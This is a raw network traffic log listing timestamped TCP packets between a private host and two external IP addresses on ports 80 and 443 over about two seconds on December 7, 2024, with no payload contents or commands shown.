Dec 7, 2024 17:36:00.944091082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.944243908 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.944294930 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.945051908 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.945162058 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.945210934 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.945916891 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.946134090 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.946181059 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.946887970 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.947048903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.947087049 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.947823048 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.947932959 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.947974920 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.948869944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.949018002 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.949062109 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.949738979 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.949954033 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.950002909 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.950694084 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.950916052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.950963020 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.951860905 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.952018976 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.952068090 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.952920914 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.953104019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.953152895 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.953958988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.954122066 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.954165936 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.954910994 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.955086946 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.955142021 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.955900908 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.956026077 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.956068993 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.956887007 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.957204103 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.957252026 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.957858086 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.957988977 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.958045006 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.958673954 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.958777905 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.958820105 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.959415913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.959537983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.959583998 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.960206985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.960331917 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.960371971 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.961139917 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.961313963 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.961365938 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.962099075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.962229013 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.962280989 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.962879896 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.963015079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.963063955 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.963690996 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.963818073 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.963874102 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.964432955 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.964524984 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.964575052 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.965215921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.965367079 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.965408087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.966111898 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.966300011 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.966353893 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.967048883 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.967238903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.967288971 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.968007088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.968199968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.968252897 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.968987942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.969085932 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.969136000 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.970181942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.970355034 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.970403910 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.970947027 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.971072912 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.971116066 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.971899033 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.972034931 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.972084045 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.972856045 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.973098040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.973150015 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.973623037 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.973752975 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.973798037 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.975145102 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.979341984 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.982052088 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.982130051 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.982163906 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.982180119 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.982192039 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.982203007 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.985116959 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.985167027 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.985232115 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.985368013 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.985383987 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.020991087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.065469980 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.065490961 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.066222906 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.066224098 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.066241980 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.066241980 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.066768885 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.066775084 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.066860914 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.066865921 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.096148968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.096345901 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.096431971 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.096673012 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.096883059 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.096929073 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.097594023 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.097703934 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.097753048 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.098392010 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.121530056 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.121634007 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.121691942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.122088909 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.122145891 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.122358084 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.122720957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.122786999 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.122906923 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.123689890 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.123745918 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.123792887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.124617100 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.124671936 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.124774933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.125668049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.125713110 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.125888109 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.126786947 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.126836061 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.126976967 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.127929926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.127969027 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.128077030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.128846884 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.128897905 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.128910065 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.129812002 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.129863977 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.130011082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.130790949 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.130844116 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.130870104 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.131695986 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.131772041 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.131807089 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.132607937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.132668972 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.132694006 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.133483887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.133533955 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.133568048 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.134174109 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.134222984 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.134295940 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.135024071 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.135071993 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.135219097 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.135895967 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.135946035 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.136004925 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.136703968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.136751890 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.136874914 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.137612104 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.137660027 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.137739897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.138442993 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.138495922 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.138670921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.139384985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.139430046 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.139539003 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.140341997 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.140393019 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.140455961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.141272068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.141313076 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.141336918 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.142085075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.142153978 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.142189026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.143368959 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.143421888 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.143500090 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.143879890 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.143923044 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.144062042 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.144750118 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.144798040 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.144948006 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.145668030 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.145711899 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.145803928 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.146609068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.146656990 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.146747112 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.147542953 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.147595882 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.147717953 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.148479939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.148519039 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.148591042 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.149409056 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.149457932 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.149535894 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.150284052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.150326014 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.150410891 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.151184082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.151231050 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.151398897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.152112961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.152182102 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.152240038 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.153050900 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.153096914 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.153183937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.153945923 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.154011965 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.154083967 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.154886007 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.154930115 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.155050039 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.155792952 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.155841112 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.155929089 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.156738997 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.156789064 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.156881094 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.157655001 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.157695055 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.157847881 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.158560991 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.158607006 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.158693075 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.159471989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.159516096 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.159603119 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.160377026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.160422087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.160502911 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.161272049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.161318064 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.161432981 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.162319899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.162379980 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.162489891 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.163266897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.163316011 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.163342953 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.164052963 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.164103031 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.164236069 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.164969921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.165050030 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.165132999 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.165899992 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.165952921 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.166054010 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.170423985 CET	443	49809	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.174565077 CET	443	49809	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.174643040 CET	49809	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.174715042 CET	49809	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.174724102 CET	443	49809	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.174734116 CET	49809	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.174738884 CET	443	49809	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.178025007 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.178045034 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.178124905 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.178260088 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.178273916 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.208419085 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.316047907 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:01.364834070 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:01.499025106 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.499104023 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.499195099 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.499386072 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.499464035 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.499483109 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.499494076 CET	49810	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.499499083 CET	443	49810	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.502577066 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.502629042 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.502712011 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.502872944 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.502914906 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.502923012 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.502969980 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.503002882 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.503016949 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.503038883 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.503051043 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.503061056 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.503066063 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.505152941 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.505186081 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:01.505279064 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.505434990 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:01.505445004 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.092701912 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.093286037 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.093308926 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.093796968 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.093801022 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.528373957 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.532191992 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.534213066 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.534362078 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.534362078 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.534379959 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.534389019 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.538249969 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.538290977 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:02.538372040 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:02.538497925 CET	49817	443	192.168.2.7	13.107.246.63
